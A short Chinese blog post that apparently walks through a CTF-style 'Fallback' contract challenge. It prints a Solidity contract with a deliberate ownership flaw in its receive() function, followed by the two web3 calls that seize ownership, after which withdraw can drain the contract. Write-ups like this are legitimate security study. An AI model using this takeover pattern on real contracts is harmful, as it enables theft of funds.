238 字
1 分钟
Web3入门的合约权限提升
Web3入门
Web3入门的合约权限提升
最近真是最艰难的时期了,
最近在学一些区块链安全,也就写一些基础审计吧
参照ERC20以及全局注入的web3 js标准接口
源码如下
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
contract Fallback { mapping(address => uint256) public contributions; address public owner;
constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); }
modifier onlyOwner() { require(msg.sender == owner, "caller is not the owner"); _; }
function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } }
function getContribution() public view returns (uint256) { return contributions[msg.sender]; }
function withdraw() public onlyOwner { payable(owner).transfer(address(this).balance); }
receive() external payable { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }}非常清晰,在contribution的msg贡献值需要大于0,再发一个data空包就可以接管合约了
进行2次调用,
contract.contribute({value:1})web3.eth.sendTransaction({to:"xxxxxxxxxxxxx",from:player,value:1,data:""})并且在二次调用的时候,区别也只有第一次的data是函数地址的区别,结构倒是统一的
以上
LAST UPDATE / 最后更新